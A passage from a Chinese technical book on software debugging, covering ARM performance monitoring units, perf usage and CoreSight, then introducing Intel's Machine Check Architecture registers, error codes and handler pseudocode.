时,提取出采样点前后的追踪信息。
内存转储(core dump)模式:使用rlimit启用,追踪数据写到环形
缓冲区,当发生崩溃时,将追踪数据写到转储文件。
前两种模式当时已经支持,后两种为计划支持。
著名的GDB调试器从7.10版本开始支持RTIT,利用强大的RTIT机
制来实现反向单步(reverse-step)。GDB是通过perf接口和perf intel-pt
驱动通信,因此不需要额外的驱动。在GDB源代码包中,btrace.h和
btrace.c中包含了RTIT有关的代码。
英特尔公司公布了名为libipt的开源库,用来解码RTIT包(见
GitHub官方网站)。
在GitHub上,有一个名为simple-pt的独立工具,它有自己的驱动程
序,不依赖perf接口和上面讲的perf驱动。除了驱动,它还有3个应用,
分别用来从驱动中收集数据(名为sptcmd)、解码追踪信息(名为
sptdecode)以及直接显示追踪信息(fastdecode)。它的解码功能是基
于英特尔libipt的开源库的。
RTIT是一套功能强大而且比较复杂的设施,其用途也很广泛,因
篇幅所限,本节只介绍了冰山一角,IA手册卷三专设一章来描述
RTIT,即第36章Intel Proecssor Trace,希望了解更多详情的读者可以参
阅。上面提到的perf intel-pt驱动和GDB的源代码也是非常宝贵的资源。
5.7 ARM架构的性能监视设施
在ARM架构中,虽然ARMv5的ARMv6的某些实现中就包含了性能
监视设施,比如XScale,但是那些实现并不属于ARM架构的标准。直到
ARMv7,才正式将性能监视设施纳入到架构定义,称为性能监视扩展
(Performance Monitors Extension)。在ARMv7手册中(C12章),可
以看到两个版本的性能监视扩展,分别称为PMUv1和PMUv2,其中
PMU是性能监视单元(Performance Monitor Unit)的缩写。ARMv8将性
能监视设施扩展到64位并做了一些改进,称为PMUv3。
在ARM手册中,性能监视设施被纳入调试架构(Debug
Architecture)范畴(ARMv7的部分C),属于非入侵调试(non-invasive
debug)部分。
5.7.1 PMUv1和PMUv2
下面先介绍ARMv7中定义的PMUv1和PMUv2,因为后者主要是增
加了根据执行状态过滤事件的能力,所以为了行文之便,我们统一称它
们为ARMv7 PMU(性能监视单元)。
从接口层面来看,ARMv7 PMU的主要设施如下。
一个时钟计数器(cycle counter):可以数每个时钟,也可以每64
个时钟递增1。
多个事件计数器:每个计数器要数的事件可以由程序来选择。具体
个数视实现而定,最多为31个。
控制设施:包括启用和复位计数器、报告溢出、启用溢出中断等。
上述设施大多是以寄存器形式访问的,表5-2列出了ARMv7 PMU的
所有寄存器。
表5-2 ARMv7 PMU寄存器一览
名称
Opc1 CRm Opc2 类
型
描 述
PMCR
0
RW 控制寄存器
0
C12
PMCNTENSET
1
RW 计数器启用情况设置(set)寄存器,写时
启用指定计数器,读时可得到启用情况
PMCNTENCLR
2
RW 计数器启用情况清除(clear)寄存器,写
时禁止指定计数器,读时可得到启用情况
PMOVSR
3
RW 溢出标志状态寄存器
PMSWINC
4
WO 软件递增计数器
PMSELR
5
RW 事件计数器选择(Event Counter
Selection)寄存器
PMCEID0
6
RO
读取架构手册上定义的普通事件
(common event)的实现情况,每一位代
表一个事件
PMCEID1
7
RO
同上
PMCCNTR
C13
0
RW 时钟周期计数器
PMXEVTYPER
1
RW 事件类型选择计数器
PMXEVCNTR
2
RW 事件计数(event count)寄存器,读写
PMSELR选择的计数器的值
PMUSERENR
C14
0
RW 启用(位0为1)或者禁止(位0为0)用户
态访问PMU
PMINTENSET
1
RW 中断启用设置计数器
PMINTENCLR
2
RW 中断启用清除计数器
PMOVSSET
3
RW 溢出标志设置寄存器,仅当有虚拟扩展时
存在
以上寄存器都是通过15号协处理器(系统控制器)来访问的,比
如,可以使用以下两条指令分别读写PMCR寄存器:
MRC p15, 0, <Rt>, c9, c12, 0 ; Read PMCR into Rt
MCR p15, 0, <Rt>, c9, c12, 0 ; Write Rt to PMCR
ARM架构手册将具有普遍适用性的性能事件称为普遍事件
(common event),并分为架构范畴的(architectural)和微架构范畴的
(microarchitectural)两大类,并且给所有普遍事件定义了固定的编
号。ARMv7定义的普遍事件共有30个,编号为00~0x1D。
在Linux内核源代码树中,arch\arm64\kernel\perf_event_v7.c包含了
ARMv7 PMU的perf框架驱动。文件开头的armv7_perf_types枚举定义了
所有普遍事件。其下定义了一些与处理器实现有关的事件,比如
armv7_a8_perf_types定义了Cortex-A8(ARMv7)微架构实现的特定事
件。
5.7.2 PMUv3
在引入64位支持的ARMv8架构中,包含了新版本的性能监视单
元,称为PMUv3。PMUv3是向后兼容的,在32位架构AArch32中,保持
了PMUv1和PMUv2定义的功能。在新的64位架构AArch64中,PMU的
结构和工作原理仍与32位很类似,最大的变化就是所有PMU寄存器都升
级为系统寄存器,可以根据名称直接使用MRS和MSR指令访问。比
如,可以用下面两条指令分别读写PMU的控制寄存器PMCR_EL0:
MRS <Xt>, PMCR_EL0 ; Read PMCR_EL0 into Xt
MSR PMCR_EL0, <Xt> ; Write Xt to PMCR_EL0
PMCR_EL0是PMCR在AArch64下的名字,EL0是Exception Level 0
的缩写,代表异常级别(特权级别)。类似地,其他PMU寄存器的名字
也都被加上这样的后缀。
第二个较大的变化是改变了配置计数器的方式。在PMUv2中,如果
要配置某个计数器对应的事件,应该先把要配置的计数器写到
PMSELR,然后再把事件类型写到PMXEVTYPER。例如下面是来自
Linux内核驱动perf_event_v7.c的代码:
static inline void armv7_pmnc_write_evtsel(int idx, u32 val)
{
armv7_pmnc_select_counter(idx);
val &= ARMV7_EVTYPE_MASK;
asm volatile("mcr p15, 0, %0, c9, c13, 1" : : "r" (val));
}
这种方式不仅需要两次访问,在多线程环境下还有因并发访问而出
错的风险。因此,PMUv3对此做了改进,新增了31个事件类型寄存器,
PMEVTYPER<n>_EL0(n = 0~30),与31个计数器一一对应,这样便
可以一步完成配置每个计数器对应的事件。不过PMUv3仍保留了老的方
式,为老的PMSELR和PMXEVTYPER定义了PMSELR_EL0和
PMXEVTYPER_EL0。在Linux 4.4.14内核的ARMv8 perf驱动
(arch\arm64\kernel\perf_event.c)中,使用的还是老的方式。
5.7.3 示例
在Linux系统中,可以通过perf工具来使用上述性能监视设施。使用
perf前,可能先要安装。安装方法可能因Linux发行版本不同而不同。在
Ubuntu 16.04上,可能需要执行如下命令:
sudo apt install linux-tools-common
sudo apt install linux-tools-4.13.0-39-generic (此命令参数与内核版本有关)
安装perf后,执行perf list命令便可以列出系统中的性能监视事件,
包括软件事件、硬件事件、原始硬件事件(通过硬件手册里的寄存器编
号或者事件编号来访问硬件的性能计数器)、追踪点事件等。
接下来,便可以使用下面这样的命令来启用和收集追踪事件:
perf stat -e task-clock,cycles,instructions,branch-misses ./gemalloc
其中,-e后面跟随的是事件列表,可以跟随多个事件,以逗号分
隔。事件列表后面是要优化的应用程序。perf会创建这个程序,然后开
始监视,当这个程序终止时,监视便结束,perf会显示出监视结果。如
果不指定应用程序,那么就会收集整个系统的信息。此外,perf后的第
一个参数也可以是record,这样便会把收集到的事件信息记录到名为
perf.data的文件中。可以使用perf report命令来显示perf.data文件中的信
息。
5.7.4 CoreSight
CoreSight是ARM公司设计的一套调试和追踪技术,可以为SoC芯片
内的器件增加调试支持,让调试工具可以发现和访问它们。CoreSight也
像ARM公司的其他芯片设计方案一样,是以IP授权的方式出售的。
简单来说,CoreSight是帮助SoC厂商实现调试和调优支持的一套电
路设计方案。在公开的《CoreSight架构规约v3.0》中[5],比较详细地定
义了设计SoC时使用CoreSight的方法,包括如何通过标识每个部件让其
具有可见性(可以被调试工具所发现)、如何为公共部件复用ARM已
经做好的设计,等等。
用软件的术语来理解,CoreSight就像是一套调试函数库,把它加入
芯片中,可使这个芯片具有可见性(visibility)——可以被发现,可以
与其他调试设施通信,就更容易被调试和优化了。
在ARM的DS-5开发套件(Development Studio)中,包含了一个名
为Streamline的调优工具,它可以检测到芯片中的CoreSight设施,然后
利用这些设施进行收集各类追踪数据,提供调优功能。
5.8 本章小结
本章首先介绍了IA CPU的分支监视、记录和性能监视机制。这些
机制为软件调试、优化和性能分析提供了硬件支持。在5.2节和5.4节中
我们给出了两个示例性的应用,演示了如何利用CPU的分支记录机制来
观察CPU的运行轨迹。5.5节介绍了性能监视机制,并列出了一些资源。
5.6节介绍了强大的实时指令追踪(RTIT)技术。5.7节介绍了ARM架构
的性能监视设施。
参考资料
[1] Intel 64 and IA-32 Architectures Software Developer’s Manual
Volume 3B. Intel Corporation.
[2] Intel 64 Architecture x2APIC Specification. Intel Corporation.
[3] Real Time Instruction Trace Programming Reference. Intel
Corporation.
[4] Real Time Instruction Trace Processors, Methods, and Systems
(US 20140189314 A1).
[5] ARM CoreSight Architecture Specification v3.0. ARM Limited.
第6章 机器检查架构
在软件开发中,我们经常使用写日志或print类语句将程序运行时遇
到的错误情况(比如函数调用失败)记录到文件中或打印到屏幕上,以
辅助调试。当CPU执行程序指令时,它也可能遇到各种错误情况,包括
内部或外部(比如前端总线、内存或MCH)的故障,这时它该如何处
理呢?
早期针对个人电脑设计的CPU检测到硬件错误时,通常的办法是立
即重新启动,以防因继续运行而造成更严重的后果。但随着CPU的高速
化和复杂化,以及个人电脑上运行的重要任务越来越多,人们意识到应
该有一种机制来报告CPU检测到的硬件错误,以供调试分析时使用。
那么如何让CPU来报告硬件错误呢?因为错误发生在CPU内部或前
端总线一级,所以CPU比其上运行的软件更清楚错误的原因,按照“谁
拥有最多知识,谁就承担职责”的原则,CPU应该负责记录下发生的错
误及发生错误时的相关信息。但是CPU只能直接读写寄存器或内存这些
临时性存储器,计算机一旦重新启动,记录在这些地方的信息就会丢
失。所以要解决这个问题还必须有软件的配合。于是,一种很自然的方
法是,CPU先收集好要记录的信息,并把它们存储到特定的寄存器或内
存区域中,然后通过产生异常的方式把控制权交给软件,接下来软件将
这些信息写到外部存储器(如硬盘)上永久记录下来。这便是IA-32处
理器(泛指Intel 64和IA-32处理器)的机器检查(Machine Check)机制
的基本原理。
最早引入机器检查机制的IA-32处理器是奔腾处理器,其后推出的
P6和奔腾4系列处理器进一步强化了该功能,并将其纳入IA-32架构规
范,称为机器检查架构(Machine Check Architecture,MCA)。
通过CPUID指令可以检查处理器对机器检查机制的支持情况,EDX
寄存器的MCA(位14)和MCE(位7)分别表示处理器是否实现了机器
检查架构和机器检查异常。
下面便从奔腾处理器的机器检查异常(MCE)入手,按照由简到繁
的顺序介绍MCA的工作原理和使用方法。
6.1 奔腾处理器的机器检查机制
奔腾处理器的机器检查(MC)机制又称为内部错误检测(internal
error detection),其主要设施如下。
用以记录错误的机器检查地址寄存器(Machine Check Address
Register,MCAR),以及机器检查类型寄存器(Machine Check
Type Register,MCTR)。二者在IA-32手册中的名字分别为
P5_MC_ADDR和P5_MC_TYPE。
用以向系统软件汇报机器检查错误的机器检查异常(Machine
Check Exception,简称#MC),以及CR4寄存器中的MCE标志
(CR4[MCE],位6),通过MCE标志可以启用或禁止机器检查异
常。机器检查异常的向量号是18,通常操作系统会设置异常处理例
程来处理该异常。
用以向系统芯片组报告错误的管脚信号,包括报告地址校验错误的
APCHK#信号、数据校验错误的PCHK#信号和内部奇偶或冗余
(Functional Redundancy Check)校验的IERR#信号。
用以接收芯片组报告的总线错误的BUSCHK#信号。
下面我们来介绍以上设施的用法。
为了校验地址和数据,奔腾处理器配备了8个数据校验信号(pin)
DP[7:0](每一位对应于64位数据总线的一个字节)和1个地址校验信号
AP(Address Parity)。如果CPU检测到地址信号奇偶校验错误,那么它
就会置起(assert)APCHK#信号(因为低电平有效,所以置低),通知
系统有错误发生。对于该类错误,奔腾处理器将错误处理的任务交给了
主板上的系统芯片组。
如果CPU当从内存中读数据时检测到数据信号奇偶校验错误,它就
会置起PCHK#信号,通知系统有错误发生,同时如果PEN#(Parity
Enable)信号有效,那么CPU会将这一次总线周期(bus cycle)的地址
写入机器检查地址寄存器MCAR中,并将这次总线周期的类型参数记录
在寄存器检查类型寄存器MCTR中。此外,如果CR4寄存器中的MCE标
志(bit 6)为1,那么CPU会产生机器检查异常,目的是向系统软件报
告有错误发生。然后CPU会转去执行机器检查异常处理例程(通常是操
作系统的一部分)。异常处理例程可以通过读取MCAR和MCTR寄存器
的内容了解发生错误的地址和错误类型,并采取进一步的措施。
P5_MC_ADDR和P5_MC_TYPE都是64位的MSR,可以通过RDMSR
来访问。P5_MC_ADDR用于存放失败总线周期的物理地址,
P5_MC_TYPE用于存放失败总线周期的类型。P5_MC_TYPE只使用了
低5位,位布局如图6-1所示。
图6-1 P5_MC_TYPE寄存器
CHK位为1,表示P5_MC_ADDR和P5_MC_TYPE中包含有效的数
据。使用RDMSR读取寄存器后,该位会自动复位为0。W/R、D/C和
M/IO位用来表示当错误发生时W/R#、D/C#和M/IO#信号(均为奔腾处
理器的管脚信号)的值,这些信号值代表了总线周期的类型:读或写、
数据或代码、访问内存或IO。LOCK位表示当时LOCK#信号是否有效。
除了奇偶校验错误,当CPU检测到BUSCHK#信号(输入信号)被
置起时(通常是芯片组在一个总线周期结束时设置此信号,表示该总线
周期没有成功完成),它也会将当时的总线周期地址和类型详细记录到
P5_MC_ADDR和P5_MC_TYPE寄存器中。在记录后,如果CR4[MCE]
为1,即允许机器检查异常,那么CPU便会产生一个机器检查异常。
综上所述,奔腾处理器的MCA机制能够记录的机器检查错误有以
下两种。
读周期(read cycle)中的数据奇偶校验错误。
没有成功完成的总线周期,也就是系统内存控制器(MCH)通过
BUSCHK#信号向CPU报告的失败总线周期。
6.2 MCA
奔腾之后的P6和奔腾4系列处理器对奔腾引入的机器检查机制做了
改进和增强,并将其纳入IA-32架构规范,称为机器检查架构(Machine
Check Architecture,MCA)。
6.2.1 概览
首先,与奔腾处理器的架构相比,扩展后的MCA可以报告更多类
型的错误,如下所示。
前端总线(FSB)上的总线事务错误(transaction error)。
内部高速缓存或FSB上的ECC错误,不论是可纠正的ECC还是不可
纠正的ECC。
FSB上或内部的奇偶校验错误。
内部高速缓存或TLB中的存储错误。TLB(Translation Lookaside
Buffer)位于CPU内部,用于缓存页面表,以减少在将虚拟内存地
址转化为物理内存地址时对内存的访问次数。
从实现方面看,仍然可以将MCA的设施概括为机器检查异常和机
器检查寄存器两个方面。机器检查异常的工作方式与奔腾相比没什么变
化。变化很大的是机器检查寄存器,其数量明显增加了,除了一套全局
控制寄存器(IA32MCG×××)外,还有多组与不同硬件单元相对应的错
误报告寄存器(见图6-2)。
图6-2 机器检查架构的寄存器
每组错误报告寄存器称为一个bank,包含一个控制寄存器
(IA32_MCi_CTL MSR)、一个状态寄存器(IA32_MCi_STATUS
MSR)、一个地址寄存器(IA32_MCi_ADDR MSR)和一个附加信息寄
存器(IA32_MCi_MISC MSR)。因为这些寄存器都是MSR(64位),
所以可以通过RDMSR指令来访问。IA-32架构规定第一个错误报告寄存
器(IA32_MC0_CTL_MSR)的MSR地址总是400H,因此系统软件可以
很方便地遍历所有的错误报告寄存器。错误报告寄存器的具体组数因
CPU型号不同而有所不同——P6有5组,P4有4组。具体组数是记录在机
器检查全局寄存器IA32_MCG_CAP中的。
6.2.2 MCA的全局寄存器
下面我们来详细认识一下MCA的每个全局寄存器。
(1)IA32_MCG_CAP寄存器:只读寄存器,用以描述MCA的具体
实现情况,包含以下位域(见图6-3)。
图6-3 IA32_MCG_CAP MSR
Count(位0~7):错误报告寄存器组数。
MCG_CTL_P(Control MSR Present)(位8):用以表示是否实现
了IA32_MCG_CTL寄存器,如果实现,则为1,否则为0。
MCG_EXT_P(Extended MSR Present)(位9):用以表示是否实
现了扩展的机器检查状态寄存器(从地址180H开始的MSR)。如
果实现,则为1,否则为0。
MCG_CMCI_P(Corrected MC error counting/signaling extension
present)(位10):如果此位为1,代表具有根据已纠正错误数量
报告中断(CMCI)的能力。
MCG_TES_P(threshold-based error status present)(位11):如果
此位为1,代表IA32_MCi_STATUS寄存器的位56:53的含义是符合
架构标准的(不然就是CPU型号相关的),其中位54:53用于报告
基于阈值的错误状态,位56:55是保留的。
MCG_EXT_CNT(Extended MSR Count)(位16~23):用以表示
扩展的机器检查状态寄存器的数量(从地址180H开始的MSR寄存
器)。仅当MCG_EXT_P位为1时才有意义。
MCG_SER_P(software error recovery support present)(位24):
如果此位为1,代表处理器支持软件方式的错误恢复,
IA32_MCi_STATUS寄存器的位56:55用来通知是否有尚未纠正的
可恢复错误,以及是否需要软件来采取纠正动作。
MCG_EMC_P(Enhanced Machine Check Capability)(位25):如
果此位为1,代表处理器支持增强的机器检查能力,可以优先通知
固件(firmware)。
MCG_ELOG_P(extended error logging)(位26):当此位为1时,
如果处理器检查到错误,可以先调用平台固件,让固件以ACPI格
式记录错误日志,以弥补MSR记录能力的不足。
P6处理器的MCG_CAP寄存器和以上介绍的IA32_MCG_CAP寄存器
在0~8位的含义相同,9~63位保留。
举例来说,使用RW-Everything工具访问作者正在使用的Intel Core
i5-2540M CPU,读到的IA32_MCG_CAP寄存器(编号0x179)的值为
0x00000C08,其含义如下。
有8组错误报告寄存器。
没有实现IA32_MCG_CTL寄存器。
没有实现扩展的机器检查状态寄存器。
具有根据已纠正错误数量报告异常的能力。
具有基于阈值报告错误状态的能力。
(2)IA32_MCG_STATUS寄存器:当机器检查异常发生时,该寄
存器用以描述处理器的状态,包含以下位域(见图6-4)。
图6-4 IA32_MCG_STATUS寄存器
RIPV(Restart IP Valid)(位0):表示是否可以安全地从异常发
生时压入栈中的指令指针处重新开始执行。1表示可以,0表示不可
以。
EIPV(Error IP Valid)(位1):该位为1表示异常发生时压入栈中
的指令指针与导致异常的错误直接关联,该位为0表示二者可能无
关。
MCIP(Machine Check In Progress)(位2):该位为1表示已经产
生了机器检查异常。软件可以设置或清除这个标记。当该位为1
时,如果再有机器检查异常发生,那么CPU会进入关机
(shutdown)状态(停止执行指令,直到收到NMI中断、SMI中
断、硬件复位或INIT#信号)。
LMCE_S(Local Machine Check Exception Signaled)(位3):该
位为1表示当前的机器检查事件只报告给了这个逻辑处理器。
(3)IA32_MCG_CTL寄存器:该寄存器用来启用或禁止机器检查
异常报告功能。IA-32手册没有明确定义每个位对应的具体机器异常内
容,只是说全部写为1会启用所有异常报告,全部写为0会禁止所有异常
报告。该寄存器只有当IA32_MCG_CAP的MCG_CTL_P位为1时才存
在。
6.2.3 MCA的错误报告寄存器
下面介绍MCA的各组错误报告寄存器的工作方式。每组错误报告
寄存器都包含一个控制寄存器(IA32_MCi_CTL MSR)、一个状态寄存
器(IA32_MCi_STATUS MSR)、一个地址寄存器(IA32_MCi_ADDR
MSR)和一个附加信息寄存器(IA32_MCi_MISC MSR)。
IA32_MCi_CTL(控制寄存器,P6称为MCi_CTL)寄存器的各个位
分别用来启用或禁止报告与其对应的错误。因为MSR寄存器有64位,所
以该寄存器最多可以控制64种错误的报告与否。该寄存器的实际使用位
数与处理器及其所对应的硬件单元有关。当修改这个寄存器时,处理器
仅修改已经被使用的各个位。另外,P6处理器仅允许向控制寄存器写全
1或全0,并且建议只有BIOS代码才能使用MC0_CTL寄存器。
IA32_MCi_STATUS(状态寄存器,P6称为MCi_STATUS)用来表
示错误的具体信息。其各个位的布局如图6-5所示。
MCA Error Code(位0~15):MCA错误代码,定义方式我们将在
下文介绍。该错误代码的含义对于所有IA-32处理器都是一致的。
图6-5 IA32_MCi_STATUS寄存器
Model-Specific Error Code(位16~31):型号相关的错误代码。与
处理器型号有关的错误代码。该错误代码的含义会因处理器的型号
不同而可能不同,IA-32手册卷3B的附录E中列出了各种型号处理器
的错误码定义。
Other Information(位32~56):错误相关信息。该信息与处理器
型号有关。
PCC(Processor Context Corrupt)(位57):如果为1,则表示处理
器的状态可能已经被发生的错误所破坏,不能安全地恢复执行。如
果为0,则表示发生的错误没有影响处理器的状态。
ADDRV(MCi_ADDR register valid)(位58):如果为1,则表示
IA32_MCi_ADDR寄存器中包含有效的错误发生地址。如果为0,
则表示IA32_MCi_ADDR寄存器不存在或不包含有效的地址信息。
MISCV(MCi_MISC register valid)(位59):如果为1,则表示
IA32_MCi_MISC寄存器中包含有效的错误相关信息。如果为0,则
表示IA32_MCi_MISC寄存器不存在或不包含有效的附加信息。
EN(Error enabled)(位60):表示IA32_MCi_CTL寄存器中的相
应位是否启用该错误。
UC(Uncorrected error)(位61):如果为1,则表示处理器没有或
不能纠正错误情况。如果为0,则表示处理器能够纠正错误情况。
OVER(Error overflow)(位62):如果为1,则表示当上一个错误
还没有清理时又发生了一个错误。当CPU在报告错误时,如果发现
目标IA32_MCi_STATUS寄存器的VAL位为1,说明已经有错误信
息在寄存器中,那么CPU会根据以下规则决定是否覆盖寄存器中的
错误信息——启用的错误可以覆盖没有启用的错误;不可纠正的错
误可以覆盖可以纠正的错误;不可纠正的错误不可以覆盖还有效的
上一个不可纠正的错误。如果可以覆盖,那么处理器会用新的错误
信息覆盖前一个错误信息,并将此位置为1,软件负责清除此位。
VAL(MCi_STATUS register valid)(位63):表示本寄存器中的
信息是否有效。处理器在写入错误信息后设置此位,软件在读取该
寄存器后应该清除此位。
IA32_MCi_ADDR(地址寄存器,P6称为MCi_ADDR)用来记录产
生错误的代码地址或数据地址。只有当IA32_MCi_STATUS的ADDRV
位为1时,该寄存器中的内容才有效。
该寄存器中的地址因错误情况不同,可能是段内的偏移地址、线性
地址或36位的物理地址。
IA32_MCi_MISC(附加信息寄存器,P6称为MCi_MISC)用来记录
与错误相关的附加信息。只有当IA32_MCi_STATUS的MISCV位为1
时,该寄存器中的内容才有效。
6.2.4 扩展的机器检查状态寄存器
从奔腾4和至强处理器开始,IA-32处理器还包含了数量不等的MCA
扩展状态寄存器,用来进一步记录机器检查异常发生时的处理器状态。
具体实现情况和数量可以通过读取IA32_MCG_CAP寄存器的
MCG_EXT_P位和MCG_EXT_CNT位域获得。如果支持扩展的机器检查
状态寄存器,那么这些寄存器的起始地址是180H,见表6-1。
表6-1 MCA扩展状态寄存器
MSR
地址
描 述
IA32_MCG_EAX
180H
机器检查错误发生时EAX寄存器的值
IA32_MCG_EBX
181H
机器检查错误发生时EBX寄存器的值
IA32_MCG_ECX
182H
机器检查错误发生时ECX寄存器的值
IA32_MCG_EDX
183H
机器检查错误发生时EDX寄存器的值
IA32_MCG_ESI
184H
机器检查错误发生时ESI寄存器的值
IA32_MCG_EDI
185H
机器检查错误发生时EDI寄存器的值
IA32_MCG_EBP
186H
机器检查错误发生时EBP寄存器的值
IA32_MCG_ESP
187H
机器检查错误发生时ESP寄存器的值
IA32_MCG_EFLAGS
188H
机器检查错误发生时EFLAGS寄存器的值
IA32_MCG_EIP
189H
机器检查错误发生时EIP寄存器的值。
IA32_MCG_MISC
18AH
只使用1位(位0),如果为1,则表示在操作调
试存储区(Debug Store)时发生了内存页错误
(或Page Assist)
IA32_MCG_RESERVED1
~
IA32_MCG_RESERVEDn
18BH~
18AH+n 保留供将来使用
需要说明的是,以上寄存器属于读或写零(read/write zero)寄存
器,意思是软件可以读这些寄存器,或者向这些寄存器写零。如果软件
企图向这些寄存器写入非零值,那么将导致一般性保护异常(#GP)。
当硬件重启(开机或RESET)时这些寄存器会被清零,但是当软件重启
(INIT)时,这些寄存器的值会被保持不变。
对于64位模式,表6-1略有变化,地址0x180~0x189,对应的是同
名的64位寄存器,IA32_MCG_RAX等。地址0x190~0x197对应的是64
位新增的8个寄存器R8~R15。
6.2.5 MCA错误编码
当处理器检测到机器检查错误时,它会向对应的
IA32_MCi_STATUS寄存器的低16位写入一个错误代码(MCA Error
Code),并将该寄存器的VAL位置为1。视错误情况的不同,处理器还
可能向16~31位写入一个与处理器型号有关的错误码。这里我们介绍一
下MCA错误码的编码和解析方法。MCA错误代码的含义对于所有IA-32
处理器都是一致的。
首先,所有错误码被分为简单错误码和复合错误码两种。简单错误
码的位编码及含义见表6-2。
表6-2 IA32_MCi_STATUS寄存器的MCA简单错误码
错 误
位 编 码
含 义
无错误
0000 0000
0000 0000
没有错误
未分类的错误
0000 0000
0000 0001
还没有分类的错误
微指令(microcode)ROM
奇偶校验错误
0000 0000
0000 0010
处理器内部的微指令ROM中存在奇偶
校验错误
外部错误
0000 0000
0000 0011
来自其他处理器的BINIT#信号导致该处
理器进入机器检查
FRC错误
0000 0000
0000 0100
FRC(Functional Redundancy Check)错
误
内部未分类错误
0000 01××
×××× ××××
处理器内部的未分类错误
复合错误码用来描述某一类型的错误,同一类型中又使用不同的位
域来进一步分类。例如1××××是TLB错误,××××这4位又分为TTLL两个
位域,TT用来代表事务类型(Transaction Type),LL用来代表缓存级
别(memory hierarchy level)。详情见表6-3~表6-7。
表6-3 MCA复合错误码的编码规则
类 型
模 式
译 码
TLB错误
0000 0000 0001 TTLL
{TT}TLB{LL}_ERR
memory hierarchy error 0000 0001 RRRR TTLL {TT}CACHE{LL}_{RRRR}_ERR
内部时钟
0000 0100 0000 0000
总线或互连错误
0000 1PPT RRRR IILL
BUS{LL}{PP}{RRRR}{II}{T}_ERR
表6-4 TT(Transaction Type)位域的编码
事 务 类 型
助 记 符
二进制编码
指令
I
00
数据
D
01
通用(generic)
G
10
表6-5 LL(Memory Hierarchy Level)位域的编码
Hierarchy Level
助 记 符
二进制编码
0级
L0
00
1级
L1
01
2级
L2
10
通用(generic)
LG
11
表6-6 RRRR(Request)位域的编码
请 求 类 型
助 记 符
二进制编码
一般错误(generic error)
ERR
0000
一般读(generic read)
RD
0001
续表
请 求 类 型
助 记 符
二进制编码
一般写(generic write)
WR
0010
读数据(data read)
DRD
0011
写数据(data write)
DWR
0100
取指(instruction fetch)
IRD
0101
预取(prefetch)
PREFETCH
0110
Eviction
EVICT
1111
Snoop
SNOOP
1000
表6-7 PP(Participation)、T(Time-out)和II(Memory or I/O)位域的编码
位 域
事 务
助 记 符
二进制编码
PP
本处理器发起请求
SRC
00
PP
本处理器响应请求
RES
01
PP
本处理器作为第三方观察到错误
OBS
10
PP
通用(generic)
11
T
请求超时
TIMEOUT
1
T
请求没有超时
NOTTIMEUT
0
II
内存访问
M
00
II
保留
01
II
I/O
IO
10
II
其他事务
11
6.3 编写MCA软件
本章开头提到过,MCA的整体设计思路是通过硬件与软件的配合
来实现对硬件错误的记录(logging)和处理(handling)的。这意味着
MCA设施需要软件的配合才能发挥作用。
6.3.1 基本算法
简单来说,如果CPU自身在运行过程中发生了错误,或者系统的其
他部件(如其他CPU、内存或MCH)发生了错误,并通过某种方式
(比如设置CPU的某些管脚信号)告知了CPU,那么CPU会先将事故现
场的相关信息记录到寄存器中,然后通过以下方式通知软件。
如果是不可纠正的错误,而且机器检查异常(MC#)被允许(CR4
寄存器),那么CPU便会产生一个机器检查异常,然后转去执行软件事
先设置好的异常处理例程。比如观察Windows 10系统(64位)的IDT,
可以看到负责处理MCE异常的内核函数名叫KiMcheckAbort。
如果是可纠正的错误,或者机器检查异常(MC#)被禁止,那么
CPU不会产生异常(只是将错误情况记录在那儿,期望软件来读取)。
对于这类情况,软件应该定期查询MCA寄存器来检测是否曾经有机器
检查错误发生。
对于支持CMCI的处理器(MCG_CMCI_P为1),可以通过可纠正
机器检查异常处理函数来处理尚未纠正的可恢复(Uncorrected
Recoverable,UCR)错误。
清单6-1给出了机器检查异常处理例程的伪代码,该代码的最初版
本来源于IA手册(卷3A 15-2),但作者对其做了部分修改。
清单6-1 机器检查异常处理例程
1 IF CPU supports MCE
2 THEN
3 IF CPU supports MCA
4 THEN
5 call errorlogging routine; (* returns restartability *)
6 ELSE (* Pentium(R) processor compatible *)
7 READ P5_MC_ADDR
8 READ P5_MC_TYPE;
9 report RESTARTABILITY to console;
10 FI;
11 FI;
12 IF error is not restartable
13 THEN
14 report RESTARTABILITY to console;
15 abort system;
16 FI;
17 IF CPU supports MCA
18 THEN CLEAR MCIP flag in IA32_MCG_STATUS;
19 FI;
第1~3行是通过CPUID指令来检查处理器对MCE和MCA的支持情
况(EDX的相应位)的。第7~9行是针对奔腾处理器的特殊处理的。值
得说明的是,上述伪代码是没有包含恢复UCR错误的逻辑,IA手册卷
3A清单15-4给出了支持UCR的伪代码。
清单6-2给出了查询和记录机器检查错误的伪代码。
清单6-2 查询和记录机器检查错误的伪代码
1 Assume that execution is restartable;
2 IF the processor supports MCA
3 THEN
4 FOR each bank of machine-check registers
5 DO
6 READ IA32_MCi_STATUS;
7 IF VAL flag in IA32_MCi_STATUS = 1
8 THEN
9 IF ADDRV flag in IA32_MCi_STATUS = 1
10 THEN READ IA32_MCi_ADDR;
11 FI;
12 IF MISCV flag in IA32_MCi_STATUS = 1
13 THEN READ IA32_MCi_MISC;
14 FI;
15 IF MCIP flag in IA32_MCG_STATUS = 1
16 (* Machine-check exception is in progress *)
17 AND PCC flag in IA32_MCi_STATUS = 1
18 OR RIPV flag in IA32_MCG_STATUS = 0
19 (* execution is not restartable *)
20 THEN
21 RESTARTABILITY = FALSE;
22 return RESTARTABILITY to calling procedure;
23 FI;
24 Save time-stamp counter and processor ID;
25 Set IA32_MCi_STATUS to all 0s;
26 Execute serializing instruction (i.e., CPUID);
27 FI;
28 OD;
29 FI;
从第4行开始一个FOR循环,每次处理一组(bank)错误报告寄存
器。可以通过查询IA32_MCG_CAP(或P6的MCG_CAP)寄存器得到错
误报告寄存器的组数。
第15~23行用来检查是否可以返回发生错误的地方并重新执行,第
17行判断PCC(Process Context Corrupt)标志位——该位为1表示处理
器的上下文已经损坏,第18行判断RIPV(Restart IP Valid)标志——该
位为0表示不可以恢复执行。较老版本IA手册中的原始代码(Example
14-3)在第18行处的OR位置是AND,作者认为不当,因为这两个条件
之一满足,就不可以恢复执行了。在作者编写本书第2版时,新版IA手
册(Example 15-3)已经改正了这个错误。
6.3.2 示例
下面通过一个使用MFC编写的小程序MCAViewer来演示如何检测
CPU对MCA的支持情况,以及如何通过查询方式读取错误报告寄存器
的内容。图6-6是MCAViewer在作者编写本书第1版时使用的电脑上运行
时的截图。
图6-6 MCAViewer的执行界面
从图6-6中可以看到,运行MCAViewer的CPU既支持MCE又支持
MCA,说明一定是P6或P6后的CPU(实际上是Pentium 4)。列表的第
二行显示该CPU共配备了4组错误报告寄存器。清单6-3给出了如何读取
